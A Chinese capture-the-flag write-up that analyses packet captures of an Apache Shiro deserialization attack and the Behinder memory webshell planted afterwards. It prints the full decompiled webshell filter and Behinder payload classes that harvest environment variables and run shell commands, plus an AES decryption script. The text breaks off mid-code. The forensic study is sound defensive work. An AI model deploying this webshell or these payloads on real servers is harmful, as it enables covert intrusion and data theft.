2026软件系统安全赛 - 流量分析traffic_hunt - WriteUp
第一层: Apache Shiro CVE-2016-4437 打开pcapng抓包文件，发现大部分都是HTTP。尝试过滤所有HTTP请求： _ws.col.protocol == "HTTP" 发现前面都是GET扫描。后面有几个POST传递到了相同的路径/favicondemo.ico，打开发现携带Payload： POST /favicondemo.ico HTTP/1.1 ... eSG4ePsiwcRpTl8psR0ZbvQKhUKWCbEYAvU/JyGXXqr9DBZr... 尝试直接Base64解密，发现疑似加密了，无法解密。推测前面还有一部分挂马之类的处理。 尝试过滤所有POST请求： http.request.method == "POST" 发现第5009个HTTP流POST向了/，打开发现： GET / HTTP/1.1 Cookie: rememberMe=u5tKw/P2yG/b6D2LV3ALwGCfb8PsolbgWKkRVXLmAxz/o+0S1XodwNI7QhoBclf1eYgDhRg6oGcg/91vpFMLEozcWHp89rOoNGI+QB5tuxwyl3pqomtWZfydxMpuNmfjFgFOvMwNq9EHwZJ/l5+UrxevXyLxgp0dlgzoAPJVRFAcAEAzZ2BjJRhVSEJTEHqL ... HTTP/1.1 302 Set-Cookie: rememberMe=deleteMe; Path=/; Max-Age=0; Expires=Mon, 05-Jan-2026 05:54:56 GMT Location: http://10.1.33.69:8080/login ... 等等一系列请求。 根据其JSESSIONID可知是Java后端，根据rememberMe=deleteMe可知这是在尝试利用Apache Shiro的反序列化漏洞（CVE-2016-4437）。前面部分在进行爆破，尝试得到其AES加密的Key。往后翻，可找到： GET / HTTP/1.1 Cookie: rememberMe=39kG6QV4e6yKVk5izql0TAG8PY/lia9KErrRuLjj+bBlO5CC+5Do9W6XnTCNtK5ZfFcS+Cbornnr/Zj0xiyigR228Lh4HCcjOJI7j+yWPDs6PjmaHaDHGte58v+RwwSnxWsgCK1T3UEVesTB0YlR8hGmC6k1skwQEbZpapvpLBa6HdqHQM0OborIzk8GzM4X ... 服务端返回： HTTP/1.1 302 Location: http://10.1.33.69:8080/login ... 没有再Set-Cookie，表明这里已经成功碰撞出了AES密钥。往后还有 GET / HTTP/1.1 Cookie: rememberMe=D5RAhUGqvWLViba9P...h92mxoUt9p Authorization: Basic d2hvYW1p ... 服务端返回： HTTP/1.1 200 ... $$$cm9vdAo=$$$ 对cm9vdAo=进行Base64解密，可得到：root，对Authorization头里的d2hvYW1p解密，可得到whoami，发现这里已经实现了RCE。 随后分别执行并返回了： pwd / ls -la total 21844 drwxr-xr-x 1 root root 4096 Jan 6 03:43 . drwxr-xr-x 1 root root 4096 Jan 6 03:43 .. -rwxr-xr-x 1 root root 0 Jan 6 03:43 .dockerenv drwxr-xr-x 1 root root 4096 Oct 21 2016 bin drwxr-xr-x 2 root root 4096 Sep 12 2016 boot drwxr-xr-x 5 root root 340 Jan 6 03:43 dev drwxr-xr-x 1 root root 4096 Jan 6 03:43 etc drwxr-xr-x 2 root root 4096 Sep 12 2016 home drwxr-xr-x 1 root root 4096 Oct 31 2016 lib drwxr-xr-x 2 root root 4096 Oct 20 2016 lib64 drwxr-xr-x 2 root root 4096 Oct 20 2016 media drwxr-xr-x 2 root root 4096 Oct 20 2016 mnt drwxr-xr-x 2 root root 4096 Oct 20 2016 opt dr-xr-xr-x 167 root root 0 Jan 6 03:43 proc drwx------ 2 root root 4096 Oct 20 2016 root drwxr-xr-x 3 root root 4096 Oct 20 2016 run drwxr-xr-x 2 root root 4096 Oct 20 2016 sbin -rw-r--r-- 1 root root 22290368 Dec 19 2019 shirodemo-1.0-SNAPSHOT.jar drwxr-xr-x 2 root root 4096 Oct 20 2016 srv dr-xr-xr-x 13 root root 0 Jan 6 03:43 sys drwxrwxrwt 1 root root 4096 Jan 6 03:43 tmp drwxr-xr-x 1 root root 4096 Oct 31 2016 usr drwxr-xr-x 1 root root 4096 Oct 31 2016 var w 05:56:48 up 9 days, 2:03, 0 users, load average: 1.44, 0.84, 0.33 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT 发现并没有什么有用的信息。 之后发送了一个： POST / HTTP/1.1 ... Cookie: rememberMe=YoANb79EEs8RT9LYVMfOgU1OPqUGfQkiNLKLem...J1I/ASq9A== p: HWmc2TLDoihdlr0N path: /favicondemo.ico ... user=yv66vgAAADQB5...GCQ%3D%3D 服务端返回了： HTTP/1.1 200 Content-Type: text/html;charset=UTF-8 Transfer-Encoding: chunked Date: Tue, 06 Jan 2026 05:57:43 GMT Connection: close ->|Success|<- 之后就没有类似的包了，推测是挂了个马。 第二层: 冰蝎 WebShell 内存马 对上面POST请求体的user参数直接进行Base64解密可发现是CAFEBABE开头的Java类，导出后尝试使用Jadx打开，可得到： {collapse} {collapse-item label="代码部分 - 点击展开"} package com.summersec.x; import java.io.IOException; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.math.BigInteger; import java.security.InvalidKeyException; import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; import java.util.EnumSet; import java.util.HashMap; import java.util.Map; import javax.crypto.Cipher; import javax.crypto.NoSuchPaddingException; import javax.crypto.spec.SecretKeySpec; import javax.servlet.DispatcherType; import javax.servlet.Filter; import javax.servlet.FilterChain; import javax.servlet.FilterConfig; import javax.servlet.FilterRegistration; import javax.servlet.ServletContext; import javax.servlet.ServletException; import javax.servlet.ServletRequest; import javax.servlet.ServletRequestWrapper; import javax.servlet.ServletResponse; import javax.servlet.ServletResponseWrapper; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpSession; import org.apache.catalina.LifecycleState; import org.apache.catalina.connector.RequestFacade; import org.apache.catalina.connector.ResponseFacade; import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.StandardContext; import org.apache.catalina.util.LifecycleBase; /* loaded from: download.class */ public final class BehinderFilter extends ClassLoader implements Filter { public HttpServletRequest request; public HttpServletResponse response; public String cs; public String Pwd; public String path; public BehinderFilter() { this.request = null; this.response = null; this.cs = "UTF-8"; this.Pwd = "eac9fa38330a7535"; this.path = "/favicondemo.ico"; } public BehinderFilter(ClassLoader c) { super(c); this.request = null; this.response = null; this.cs = "UTF-8"; this.Pwd = "eac9fa38330a7535"; this.path = "/favicondemo.ico"; } public Class g(byte[] b) { return super.defineClass(b, 0, b.length); } public static String md5(String s) throws NoSuchAlgorithmException { String ret = null; try { MessageDigest m = MessageDigest.getInstance("MD5"); m.update(s.getBytes(), 0, s.length()); ret = new BigInteger(1, m.digest()).toString(16).substring(0, 16); } catch (Exception e) { } return ret; } public boolean equals(Object obj) throws NoSuchFieldException, ClassNotFoundException { parseObj(obj); this.Pwd = md5(this.request.getHeader("p")); this.path = this.request.getHeader("path"); StringBuffer output = new StringBuffer(); try { this.response.setContentType("text/html"); this.request.setCharacterEncoding(this.cs); this.response.setCharacterEncoding(this.cs); output.append(addFilter()); } catch (Exception var7) { output.append("ERROR:// " + var7.toString()); } try { this.response.getWriter().print("->|" + output.toString() + "|<-"); this.response.getWriter().flush(); this.response.getWriter().close(); return true; } catch (Exception e) { return true; } } public void parseObj(Object obj) throws NoSuchFieldException, ClassNotFoundException { if (obj.getClass().isArray()) { Object[] data = (Object[]) obj; this.request = (HttpServletRequest) data[0]; this.response = (HttpServletResponse) data[1]; return; } try { Class clazz = Class.forName("javax.servlet.jsp.PageContext"); this.request = (HttpServletRequest) clazz.getDeclaredMethod("getRequest", new Class[0]).invoke(obj, new Object[0]); this.response = (HttpServletResponse) clazz.getDeclaredMethod("getResponse", new Class[0]).invoke(obj, new Object[0]); } catch (Exception e) { if (obj instanceof HttpServletRequest) { this.request = (HttpServletRequest) obj; try { Field req = this.request.getClass().getDeclaredField("request"); req.setAccessible(true); HttpServletRequest request2 = (HttpServletRequest) req.get(this.request); Field resp = request2.getClass().getDeclaredField("response"); resp.setAccessible(true); this.response = (HttpServletResponse) resp.get(request2); } catch (Exception e2) { try { this.response = (HttpServletResponse) this.request.getClass().getDeclaredMethod("getResponse", new Class[0]).invoke(obj, new Object[0]); } catch (Exception e3) { } } } } } public String addFilter() throws Exception { Class filterMap; ServletContext servletContext = this.request.getServletContext(); String filterName = this.path; String url = this.path; if (servletContext.getFilterRegistration(filterName) == null) { StandardContext standardContext = null; Field stateField = null; try { try { Field contextField = servletContext.getClass().getDeclaredField("context"); contextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) contextField.get(servletContext); Field contextField2 = applicationContext.getClass().getDeclaredField("context"); contextField2.setAccessible(true); standardContext = (StandardContext) contextField2.get(applicationContext); stateField = LifecycleBase.class.getDeclaredField("state"); stateField.setAccessible(true); stateField.set(standardContext, LifecycleState.STARTING_PREP); FilterRegistration.Dynamic filterRegistration = servletContext.addFilter(filterName, this); filterRegistration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, new String[]{url}); Method filterStartMethod = StandardContext.class.getMethod("filterStart", new Class[0]); filterStartMethod.setAccessible(true); filterStartMethod.invoke(standardContext, (Object[]) null); stateField.set(standardContext, LifecycleState.STARTED); try { filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); } catch (Exception e) { filterMap = Class.forName("org.apache.catalina.deploy.FilterMap"); } Method findFilterMaps = standardContext.getClass().getMethod("findFilterMaps", new Class[0]); Object[] filterMaps = (Object[]) findFilterMaps.invoke(standardContext, new Object[0]); for (int i = 0; i < filterMaps.length; i++) { Object filterMapObj = filterMaps[i]; Method findFilterMaps2 = filterMap.getMethod("getFilterName", new Class[0]); String name = (String) findFilterMaps2.invoke(filterMapObj, new Object[0]); if (name.equalsIgnoreCase(filterName)) { filterMaps[i] = filterMaps[0]; filterMaps[0] = filterMapObj; } } stateField.set(standardContext, LifecycleState.STARTED); return "Success"; } catch (Exception var22) { String var11 = var22.getMessage(); stateField.set(standardContext, LifecycleState.STARTED); return var11; } } catch (Throwable th) { stateField.set(standardContext, LifecycleState.STARTED); throw th; } } return "Filter already exists"; } /* JADX WARN: Multi-variable type inference failed */ public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IllegalAccessException, NoSuchPaddingException, ServletException, NoSuchMethodException, NoSuchAlgorithmException, SecurityException, InvalidKeyException, IOException, IllegalArgumentException, InvocationTargetException { HttpSession session = ((HttpServletRequest) req).getSession(); ServletRequest servletRequestInvoke = req; ServletResponse servletResponseInvoke = resp; if (!(servletRequestInvoke instanceof RequestFacade)) { try { Method getRequest = ServletRequestWrapper.class.getMethod("getRequest", new Class[0]); servletRequestInvoke = getRequest.invoke(this.request, new Object[0]); while (!(servletRequestInvoke instanceof RequestFacade)) { servletRequestInvoke = getRequest.invoke(servletRequestInvoke, new Object[0]); } } catch (Exception e) { } } try { if (!(servletResponseInvoke instanceof ResponseFacade)) { Method getResponse = ServletResponseWrapper.class.getMethod("getResponse", new Class[0]); servletResponseInvoke = getResponse.invoke(this.response, new Object[0]); while (!(servletResponseInvoke instanceof ResponseFacade)) { servletResponseInvoke = getResponse.invoke(servletResponseInvoke, new Object[0]); } } } catch (Exception e2) { } Map obj = new HashMap(); obj.put("request", servletRequestInvoke); obj.put("response", servletResponseInvoke); obj.put("session", session); try { session.putValue("u", this.Pwd); Cipher c = Cipher.getInstance("AES"); c.init(2, new SecretKeySpec(this.Pwd.getBytes(), "AES")); new BehinderFilter(getClass().getClassLoader()).g(c.doFinal(base64Decode(req.getReader().readLine()))).newInstance().equals(obj); } catch (Exception var7) { var7.printStackTrace(); } } public byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); } catch (Exception e) { Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder", new Class[0]).invoke(null, new Object[0]); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } } public void init(FilterConfig filterConfig) throws ServletException { } public void destroy() { } } {/collapse-item} {/collapse} 发现是个冰蝎Behinder WebShell。分析可知它会将请求内容和返回值通过AES加密/解密，同时若请求头中携带p，就将p的内容md5加密之后取前16位作为AES密钥。 根据上面的请求内容可知p: HWmc2TLDoihdlr0N，md5加密得到1f2c8075acd3d118674e99f8e61b9596，取前16位即1f2c8075acd3d118就是AES密码。 同时，设置了/favicondemo.ico作为C2通信地址，这也就说明之前看到的下面的这个URL的POST数据是这里通信的记录。 接着打开之前找到的POST抓包，发现第40552个HTTP Stream内包含大量往返。 编写一个Python脚本尝试以密钥1f2c8075acd3d118解密其中第1个请求的Payload： import Crypto.Cipher from Crypto.Cipher import AES import base64 def decrypt_behinder(data, key_str): key = key_str.encode('utf-8') raw_data = base64.b64decode(data) cipher = AES.new(key, AES.MODE_ECB) decrypted = cipher.decrypt(raw_data) # 去除 PKCS5Padding padding_len = decrypted[-1] return decrypted[:-padding_len] key = "1f2c8075acd3d118" body = "qjYfBvYIRKQ...ciIgehs=" data=decrypt_behinder(body, key) print(data) with open(f"payload2.bin", "wb") as file: file.write(data) 发现开头CAFEBABE是Java Class的文件头。用Jadx打开： {collapse} {collapse-item label="代码部分 - 点击展开"} 内容很长，不想看可以折叠 package net.qmrqiui; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.LinkedHashMap; import java.util.Map; import java.util.Random; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; /* compiled from: Echo.java */ /* loaded from: payload-favicondemo.ico.class */ public class Fmdrfajtrr { public static String content; public static String payloadBody; private Object Request; private Object Response; private Object Session; private byte[] Encrypt(byte[] bArr) throws Exception { SecretKeySpec secretKeySpec = new SecretKeySpec("1f2c8075acd3d118".getBytes("utf-8"), "AES"); Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding"); cipher.init(1, secretKeySpec); byte[] bArrDoFinal = cipher.doFinal(bArr); try { Class<?> cls = Class.forName("java.util.Base64"); Object objInvoke = cls.getMethod("getEncoder", null).invoke(cls, null); bArrDoFinal = (byte[]) objInvoke.getClass().getMethod("encode", byte[].class).invoke(objInvoke, bArrDoFinal); } catch (Throwable th) { Object objNewInstance = Class.forName("sun.misc.BASE64Encoder").newInstance(); bArrDoFinal = ((String) objNewInstance.getClass().getMethod("encode", byte[].class).invoke(objNewInstance, bArrDoFinal)).replace("\n", "").replace("\r", "").getBytes(); } return bArrDoFinal; } public Fmdrfajtrr() { content = ""; content += "1oMRO2dvZFDzLDMX8hNiYBh2qzBvSzSi1EaD2vCMM7Q8kxqxrX085JlqFrt40qku6RCR0D0JF3tPc5fYUWW5Op0YP9hLpG8MPlgtOpMYbdDH1iGmuWO75I3XVO9evcyqhb19Sk3Et99wkKl5fsYAWZKEofJmsis7Vv2uCRwGbsE6LvpmqNGvJnB3v"; } public boolean equals(Object obj) throws IllegalAccessException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException { Map<String, String> result = new LinkedHashMap<>(); try { try { fillContext(obj); result.put("status", "success"); result.put("msg", content); try { Object so = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write = so.getClass().getMethod("write", byte[].class); write.invoke(so, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so.getClass().getMethod("flush", new Class[0]).invoke(so, new Object[0]); so.getClass().getMethod("close", new Class[0]).invoke(so, new Object[0]); return true; } catch (Exception e) { e.printStackTrace(); return true; } } catch (Exception e2) { result.put("msg", e2.getMessage()); result.put("status", "success"); try { Object so2 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write2 = so2.getClass().getMethod("write", byte[].class); write2.invoke(so2, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so2.getClass().getMethod("flush", new Class[0]).invoke(so2, new Object[0]); so2.getClass().getMethod("close", new Class[0]).invoke(so2, new Object[0]); return true; } catch (Exception e3) { e3.printStackTrace(); return true; } } } catch (Throwable th) { try { Object so3 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write3 = so3.getClass().getMethod("write", byte[].class); write3.invoke(so3, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so3.getClass().getMethod("flush", new Class[0]).invoke(so3, new Object[0]); so3.getClass().getMethod("close", new Class[0]).invoke(so3, new Object[0]); } catch (Exception e4) { e4.printStackTrace(); } throw th; } } private String buildJson(Map<String, String> entity, boolean encode) throws Exception { StringBuilder sb = new StringBuilder(); System.getProperty("java.version"); sb.append("{"); for (String key : entity.keySet()) { sb.append("\"" + key + "\":\""); String value = entity.get(key); if (encode) { value = base64encode(value.getBytes()); } sb.append(value); sb.append("\","); } if (sb.toString().endsWith(",")) { sb.setLength(sb.length() - 1); } sb.append("}"); return sb.toString(); } private void fillContext(Object obj) throws Exception { if (obj.getClass().getName().indexOf("PageContext") >= 0) { this.Request = obj.getClass().getMethod("getRequest", new Class[0]).invoke(obj, new Object[0]); this.Response = obj.getClass().getMethod("getResponse", new Class[0]).invoke(obj, new Object[0]); this.Session = obj.getClass().getMethod("getSession", new Class[0]).invoke(obj, new Object[0]); } else { Map<String, Object> objMap = (Map) obj; this.Session = objMap.get("session"); this.Response = objMap.get("response"); this.Request = objMap.get("request"); } this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8"); } private String base64encode(byte[] data) throws Exception { String result; System.getProperty("java.version"); try { getClass(); Class Base64 = Class.forName("java.util.Base64"); Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null); result = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data); } catch (Throwable th) { getClass(); Object Encoder2 = Class.forName("sun.misc.BASE64Encoder").newInstance(); String result2 = (String) Encoder2.getClass().getMethod("encode", byte[].class).invoke(Encoder2, data); result = result2.replace("\n", "").replace("\r", ""); } return result; } private byte[] getMagic() throws Exception { String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString(); int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16; Random random = new Random(); byte[] buf = new byte[magicNum]; for (int i = 0; i < buf.length; i++) { buf[i] = (byte) random.nextInt(256); } return buf; } } {/collapse-item} {/collapse} 发现只是返回一串1oMRO2dvZFDzLDMX8h...mqNGvJnB3v数据并base64加密。继续解密回包，得到： {"status":"c3VjY2Vzcw==","msg":"[binary]"} msg字段Base64解密得到：1oMRO2dvZFDzLDMX8hNiYBh2qzBvSzSi1EaD2vCMM7Q8kxqxrX085JlqFrt40qku6RCR0D0JF3tPc5fYUWW5Op0YP9hLpG8MPlgtOpMYbdDH1iGmuWO75I3XVO9evcyqhb19Sk3Et99wkKl5fsYAWZKEofJmsis7Vv2uCRwGbsE6LvpmqNGvJnB3v，证明猜想正确。 接着继续解密并逆向第二个请求： {collapse} {collapse-item label="代码部分 - 点击展开"} 内容很长，不想看可以折叠 package org.arkpoti.qegfs; import java.io.File; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.net.Inet4Address; import java.net.InetAddress; import java.net.NetworkInterface; import java.net.SocketException; import java.util.Enumeration; import java.util.HashMap; import java.util.Map; import java.util.Properties; import java.util.Random; import java.util.Set; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; /* compiled from: BasicInfo.java */ /* loaded from: payload-favicondemo(2).ico.class */ public class Huhmocmx { public static String whatever; private Object Request; private Object Response; private Object Session; private byte[] Encrypt(byte[] bArr) throws Exception { SecretKeySpec secretKeySpec = new SecretKeySpec("1f2c8075acd3d118".getBytes("utf-8"), "AES"); Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding"); cipher.init(1, secretKeySpec); byte[] bArrDoFinal = cipher.doFinal(bArr); try { Class<?> cls = Class.forName("java.util.Base64"); Object objInvoke = cls.getMethod("getEncoder", null).invoke(cls, null); bArrDoFinal = (byte[]) objInvoke.getClass().getMethod("encode", byte[].class).invoke(objInvoke, bArrDoFinal); } catch (Throwable th) { Object objNewInstance = Class.forName("sun.misc.BASE64Encoder").newInstance(); bArrDoFinal = ((String) objNewInstance.getClass().getMethod("encode", byte[].class).invoke(objNewInstance, bArrDoFinal)).replace("\n", "").replace("\r", "").getBytes(); } return bArrDoFinal; } public Huhmocmx() { whatever = ""; whatever += "[binary]"; } public boolean equals(Object obj) throws IllegalAccessException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException { Map<String, String> result = new HashMap<>(); try { fillContext(obj); StringBuilder basicInfo = new StringBuilder(" 环境变量: "); Map<String, String> env = System.getenv(); for (String name : env.keySet()) { basicInfo.append(name + "=" + env.get(name) + " "); } basicInfo.append(" JRE系统属性: "); Properties props = System.getProperties(); Set<Map.Entry<Object, Object>> entrySet = props.entrySet(); for (Map.Entry<Object, Object> entry : entrySet) { basicInfo.append(entry.getKey() + " = " + entry.getValue() + " "); } String currentPath = new File("").getAbsolutePath(); String driveList = ""; File[] roots = File.listRoots(); for (File f : roots) { driveList = driveList + f.getPath() + ";"; } String osInfo = System.getProperty("os.name") + System.getProperty("os.version") + System.getProperty("os.arch"); Map<String, String> entity = new HashMap<>(); entity.put("basicInfo", basicInfo.toString()); entity.put("currentPath", currentPath); entity.put("driveList", driveList); entity.put("osInfo", osInfo); entity.put("arch", System.getProperty("os.arch")); entity.put("localIp", getInnerIp()); result.put("status", "success"); result.put("msg", buildJson(entity, true)); try { Object so = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write = so.getClass().getMethod("write", byte[].class); write.invoke(so, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so.getClass().getMethod("flush", new Class[0]).invoke(so, new Object[0]); so.getClass().getMethod("close", new Class[0]).invoke(so, new Object[0]); return true; } catch (Exception e) { return true; } } catch (Exception e2) { try { Object so2 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write2 = so2.getClass().getMethod("write", byte[].class); write2.invoke(so2, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so2.getClass().getMethod("flush", new Class[0]).invoke(so2, new Object[0]); so2.getClass().getMethod("close", new Class[0]).invoke(so2, new Object[0]); return true; } catch (Exception e3) { return true; } } catch (Throwable th) { try { Object so3 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write3 = so3.getClass().getMethod("write", byte[].class); write3.invoke(so3, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so3.getClass().getMethod("flush", new Class[0]).invoke(so3, new Object[0]); so3.getClass().getMethod("close", new Class[0]).invoke(so3, new Object[0]); } catch (Exception e4) { } throw th; } } private String getInnerIp() throws SocketException { String ips = ""; try { Enumeration<NetworkInterface> netInterfaces = NetworkInterface.getNetworkInterfaces(); while (netInterfaces.hasMoreElements()) { NetworkInterface netInterface = netInterfaces.nextElement(); Enumeration<InetAddress> addresses = netInterface.getInetAddresses(); while (addresses.hasMoreElements()) { InetAddress ip = addresses.nextElement(); if (ip != null && (ip instanceof Inet4Address)) { ips = ips + ip.getHostAddress() + " "; } } } } catch (Exception e) { } return ips.replace("127.0.0.1", "").trim(); } private String buildJson(Map<String, String> entity, boolean encode) throws Exception { StringBuilder sb = new StringBuilder(); String version = System.getProperty("java.version"); sb.append("{"); for (String key : entity.keySet()) { sb.append("\"" + key + "\":\""); String value = entity.get(key).toString(); if (encode) { if (version.compareTo("1.9") >= 0) { getClass(); Class Base64 = Class.forName("java.util.Base64"); Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null); value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8")); } else { getClass(); Object Encoder2 = Class.forName("sun.misc.BASE64Encoder").newInstance(); value = ((String) Encoder2.getClass().getMethod("encode", byte[].class).invoke(Encoder2, value.getBytes("UTF-8"))).replace("\n", "").replace("\r", ""); } } sb.append(value); sb.append("\","); } sb.setLength(sb.length() - 1); sb.append("}"); return sb.toString(); } private String base64encode(byte[] data) throws Exception { String result; System.getProperty("java.version"); try { getClass(); Class Base64 = Class.forName("java.util.Base64"); Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null); result = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data); } catch (Throwable th) { getClass(); Object Encoder2 = Class.forName("sun.misc.BASE64Encoder").newInstance(); String result2 = (String) Encoder2.getClass().getMethod("encode", byte[].class).invoke(Encoder2, data); result = result2.replace("\n", "").replace("\r", ""); } return result; } private void fillContext(Object obj) throws Exception { if (obj.getClass().getName().indexOf("PageContext") >= 0) { this.Request = obj.getClass().getMethod("getRequest", new Class[0]).invoke(obj, new Object[0]); this.Response = obj.getClass().getMethod("getResponse", new Class[0]).invoke(obj, new Object[0]); this.Session = obj.getClass().getMethod("getSession", new Class[0]).invoke(obj, new Object[0]); } else { Map<String, Object> objMap = (Map) obj; this.Session = objMap.get("session"); this.Response = objMap.get("response"); this.Request = objMap.get("request"); } this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8"); } private byte[] getMagic() throws Exception { String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString(); int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16; Random random = new Random(); byte[] buf = new byte[magicNum]; for (int i = 0; i < buf.length; i++) { buf[i] = (byte) random.nextInt(256); } return buf; } } {/collapse-item} {/collapse} 发现是读取系统信息，返回值： {"msg":"[binary]","status":"c3VjY2Vzcw=="} 对msgBase64解密得到： {"osInfo":"TGludXg2LjguMC04OC1nZW5lcmljYW1kNjQ=","driveList":"Lzs=","localIp":"MTcyLjE4LjAuMg==","currentPath":"Lw==","arch":"YW1kNjQ=","basicInfo":"[binary]"} 再分别Base64解密，可得到LinuxInfo为Linux6.8.0-88-genericamd64，DriveList为/;，LocalIP为172.18.0.2，等等。证明上述确实是读取系统信息。 接着继续解密并逆向，发现执行了一些系统命令： ... /* compiled from: Cmd.java */ /* loaded from: payload-favicondemo(4).ico.class */ public class Zsiywhq { public static String cmd; public static String path; public static String whatever; private static String status = "success"; private Object Request; private Object Response; private Object Session; ... public Zsiywhq() { cmd = ""; cmd += "cd / ;whoami"; path = ""; path += "/"; } ... private String RunCMD(String cmd2) throws Exception { Process p; Charset osCharset = Charset.forName(System.getProperty("sun.jnu.encoding")); String result = ""; if (cmd2 != null && cmd2.length() > 0) { if (System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0) { p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd2}); } else { p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd2}); } BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream(), osCharset)); String line = br.readLine(); while (true) { String disr = line; if (disr == null) { break; } result = result + disr + "\n"; line = br.readLine(); } BufferedReader br2 = new BufferedReader(new InputStreamReader(p.getErrorStream(), osCharset)); String line2 = br2.readLine(); while (true) { String disr2 = line2; if (disr2 == null) { break; } result = result + disr2 + "\n"; line2 = br2.readLine(); } } return result; } ... } 找下来发现总共执行了这些： cd / ;whoami root cd / ;w 05:58:16 up 9 days, 2:05, 0 users, load average: 0.35, 0.63, 0.29 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT cd / ;ps -ef UID PID PPID C STIME TTY TIME CMD root 1 0 1 03:43 ? 00:01:36 java -jar /shirodemo-1.0-SNAPSHOT.jar root 95 1 0 05:58 ? 00:00:00 /bin/sh -c cd / ;ps -ef root 96 95 0 05:58 ? 00:00:00 ps -ef 没什么用。接着发现接下来内容有了新的模式： {collapse} {collapse-item label="代码部分 - 点击展开"} 内容很长，不想看可以折叠 package sun.suh.tgvtrk; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.nio.ByteBuffer; import java.nio.channels.FileChannel; import java.nio.charset.Charset; import java.nio.file.LinkOption; import java.nio.file.Path; import java.security.MessageDigest; import java.text.DateFormat; import java.text.SimpleDateFormat; import java.util.ArrayList; import java.util.Date; import java.util.HashMap; import java.util.List; import java.util.Map; import java.util.Random; import java.util.Set; import java.util.zip.ZipEntry; import java.util.zip.ZipOutputStream; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; /* compiled from: FileOperation.java */ /* loaded from: payload-favicondemo(10).ico.class */ public class Mcuygmskgn { public static String mode; public static String path; public static String newPath; public static String content; public static String charset; public static String hash; public static String blockIndex; public static String blockSize; public static String createTimeStamp; public static String modifyTimeStamp; public static String accessTimeStamp; private Object Request; private Object Response; private Object Session; private Charset osCharset; private byte[] Encrypt(byte[] bArr) throws Exception { SecretKeySpec secretKeySpec = new SecretKeySpec("1f2c8075acd3d118".getBytes("utf-8"), "AES"); Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding"); cipher.init(1, secretKeySpec); byte[] bArrDoFinal = cipher.doFinal(bArr); try { Class<?> cls = Class.forName("java.util.Base64"); Object objInvoke = cls.getMethod("getEncoder", null).invoke(cls, null); bArrDoFinal = (byte[]) objInvoke.getClass().getMethod("encode", byte[].class).invoke(objInvoke, bArrDoFinal); } catch (Throwable th) { Object objNewInstance = Class.forName("sun.misc.BASE64Encoder").newInstance(); bArrDoFinal = ((String) objNewInstance.getClass().getMethod("encode", byte[].class).invoke(objNewInstance, bArrDoFinal)).replace("\n", "").replace("\r", "").getBytes(); } return bArrDoFinal; } public Mcuygmskgn() { mode = ""; mode += "list"; path = ""; path += "/"; this.osCharset = Charset.forName(System.getProperty("sun.jnu.encoding")); } public boolean equals(Object obj) throws IllegalAccessException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException { Map<String, String> result = new HashMap(); try { try { fillContext(obj); if (mode.equalsIgnoreCase("list")) { result.put("msg", list()); result.put("status", "success"); } else if (mode.equalsIgnoreCase("show")) { result.put("msg", show()); result.put("status", "success"); } else if (mode.equalsIgnoreCase("checkExist")) { 